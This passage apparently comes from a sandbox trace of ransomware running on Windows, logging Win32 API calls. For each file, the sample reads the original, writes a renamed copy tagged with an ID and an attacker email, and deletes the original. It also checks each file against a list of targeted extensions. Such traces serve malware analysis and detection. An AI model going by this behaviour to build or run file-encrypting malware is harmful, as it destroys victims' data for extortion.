nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.429] SetEndOfFile (hFile=0x1f4) returned 1 [0049.429] CloseHandle (hObject=0x1f4) returned 1 [0049.429] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.429] SetEndOfFile (hFile=0x1f0) returned 1 [0049.430] CloseHandle (hObject=0x1f0) returned 1 [0049.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0049.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0049.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0049.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0049.430] lstrlenW (lpString=".doc") returned 4 [0049.430] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.430] lstrlenW (lpString=".docx") returned 5 [0049.430] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.430] lstrlenW (lpString=".pdf") returned 4 [0049.430] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.430] lstrlenW (lpString=".xls") returned 4 [0049.430] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.430] lstrlenW (lpString=".xlsx") returned 5 [0049.431] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.431] lstrlenW (lpString=".ppt") returned 4 [0049.431] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0049.431] lstrlenW (lpString=".zip") returned 4 [0049.431] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.431] lstrlenW (lpString=".rar") returned 4 [0049.431] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.431] lstrlenW (lpString=".bz2") returned 4 [0049.431] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.431] lstrlenW (lpString=".7z") returned 3 [0049.431] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0049.431] lstrlenW (lpString=".dbf") returned 4 [0049.431] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0049.431] lstrlenW (lpString=".1cd") returned 4 [0049.431] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0049.431] lstrlenW (lpString=".jpg") returned 4 [0049.431] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.432] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=20578) returned 1 [0049.432] CloseHandle (hObject=0x1f0) returned 1 [0049.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20 [0049.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0049.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0049.432] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.432] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0049.433] GetLastError () returned 0x0 [0049.433] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x5062, lpOverlapped=0x0) returned 1 [0049.436] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x5070, lpOverlapped=0x0) returned 1 [0049.437] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0049.437] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.437] SetEndOfFile (hFile=0x1f4) returned 1 [0049.437] CloseHandle (hObject=0x1f4) returned 1 [0049.438] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.438] SetEndOfFile (hFile=0x1f0) returned 1 [0049.438] CloseHandle (hObject=0x1f0) returned 1 [0049.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0049.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0049.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0049.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0049.439] lstrlenW (lpString=".doc") returned 4 [0049.439] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.439] lstrlenW (lpString=".docx") returned 5 [0049.439] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.439] lstrlenW (lpString=".pdf") returned 4 [0049.439] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.439] lstrlenW (lpString=".xls") returned 4 [0049.439] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.439] lstrlenW (lpString=".xlsx") returned 5 [0049.439] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.439] lstrlenW (lpString=".ppt") returned 4 [0049.439] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0049.439] lstrlenW (lpString=".zip") returned 4 [0049.439] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.439] lstrlenW (lpString=".rar") returned 4 [0049.440] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.440] lstrlenW (lpString=".bz2") returned 4 [0049.440] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.440] lstrlenW (lpString=".7z") returned 3 [0049.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0049.440] lstrlenW (lpString=".dbf") returned 4 [0049.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0049.440] lstrlenW (lpString=".1cd") returned 4 [0049.440] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0049.440] lstrlenW (lpString=".jpg") returned 4 [0049.440] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.180] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=10832) returned 1 [0051.180] CloseHandle (hObject=0x218) returned 1 [0051.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20 [0051.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0051.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0051.181] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.181] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0051.181] GetLastError () returned 0x0 [0051.181] ReadFile (in: hFile=0x218, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x2a50, lpOverlapped=0x0) returned 1 [0051.183] WriteFile (in: hFile=0x174, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x2a60, lpOverlapped=0x0) returned 1 [0051.184] ReadFile (in: hFile=0x218, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0051.184] WriteFile (in: hFile=0x174, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.184] SetEndOfFile (hFile=0x174) returned 1 [0051.184] CloseHandle (hObject=0x174) returned 1 [0051.184] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.184] SetEndOfFile (hFile=0x218) returned 1 [0051.185] CloseHandle (hObject=0x218) returned 1 [0051.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0051.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0051.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0051.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0051.186] lstrlenW (lpString=".doc") returned 4 [0051.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.186] lstrlenW (lpString=".docx") returned 5 [0051.186] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.186] lstrlenW (lpString=".pdf") returned 4 [0051.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.186] lstrlenW (lpString=".xls") returned 4 [0051.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.186] lstrlenW (lpString=".xlsx") returned 5 [0051.186] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.186] lstrlenW (lpString=".ppt") returned 4 [0051.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0051.186] lstrlenW (lpString=".zip") returned 4 [0051.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.186] lstrlenW (lpString=".rar") returned 4 [0051.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.186] lstrlenW (lpString=".bz2") returned 4 [0051.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.186] lstrlenW (lpString=".7z") returned 3 [0051.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0051.186] lstrlenW (lpString=".dbf") returned 4 [0051.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0051.186] lstrlenW (lpString=".1cd") returned 4 [0051.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0051.186] lstrlenW (lpString=".jpg") returned 4 [0051.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.187] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1596) returned 1 [0051.187] CloseHandle (hObject=0x218) returned 1 [0051.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 0x20 [0051.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0051.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0051.187] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.187] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0051.188] GetLastError () returned 0x0 [0051.188] ReadFile (in: hFile=0x218, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x63c, lpOverlapped=0x0) returned 1 [0051.200] WriteFile (in: hFile=0x174, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x640, lpOverlapped=0x0) returned 1 [0051.204] ReadFile (in: hFile=0x218, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0051.204] WriteFile (in: hFile=0x174, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.204] SetEndOfFile (hFile=0x174) returned 1 [0051.204] CloseHandle (hObject=0x174) returned 1 [0051.204] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.205] SetEndOfFile (hFile=0x218) returned 1 [0051.205] CloseHandle (hObject=0x218) returned 1 [0051.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0051.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0051.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0051.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0051.206] lstrlenW (lpString=".doc") returned 4 [0051.206] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.206] lstrlenW (lpString=".docx") returned 5 [0051.206] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.206] lstrlenW (lpString=".pdf") returned 4 [0051.206] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.206] lstrlenW (lpString=".xls") returned 4 [0051.206] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.206] lstrlenW (lpString=".xlsx") returned 5 [0051.206] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.206] lstrlenW (lpString=".ppt") returned 4 [0051.206] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0051.206] lstrlenW (lpString=".zip") returned 4 [0051.206] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.206] lstrlenW (lpString=".rar") returned 4 [0051.206] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.206] lstrlenW (lpString=".bz2") returned 4 [0051.206] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.206] lstrlenW (lpString=".7z") returned 3 [0051.206] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0051.206] lstrlenW (lpString=".dbf") returned 4 [0051.206] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0051.207] lstrlenW (lpString=".1cd") returned 4 [0051.207] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0051.207] lstrlenW (lpString=".jpg") returned 4 [0051.207] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.216] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=7968) returned 1 [0051.217] CloseHandle (hObject=0x218) returned 1 [0051.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 0x20 [0051.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0051.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0051.217] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.217] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0051.217] GetLastError () returned 0x0 [0051.217] ReadFile (in: hFile=0x218, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x1f20, lpOverlapped=0x0) returned 1 [0051.219] WriteFile (in: hFile=0x174, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0051.220] ReadFile (in: hFile=0x218, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0051.220] WriteFile (in: hFile=0x174, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.220] SetEndOfFile (hFile=0x174) returned 1 [0051.220] CloseHandle (hObject=0x174) returned 1 [0051.220] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.220] SetEndOfFile (hFile=0x218) returned 1 [0051.221] CloseHandle (hObject=0x218) returned 1 [0051.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0051.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0051.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0051.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0051.222] lstrlenW (lpString=".doc") returned 4 [0051.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.222] lstrlenW (lpString=".docx") returned 5 [0051.222] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.222] lstrlenW (lpString=".pdf") returned 4 [0051.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.222] lstrlenW (lpString=".xls") returned 4 [0051.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.222] lstrlenW (lpString=".xlsx") returned 5 [0051.222] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.222] lstrlenW (lpString=".ppt") returned 4 [0051.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0051.222] lstrlenW (lpString=".zip") returned 4 [0051.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.222] lstrlenW (lpString=".rar") returned 4 [0051.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.222] lstrlenW (lpString=".bz2") returned 4 [0051.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.222] lstrlenW (lpString=".7z") returned 3 [0051.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0051.222] lstrlenW (lpString=".dbf") returned 4 [0051.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0051.222] lstrlenW (lpString=".1cd") returned 4 [0051.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.222] 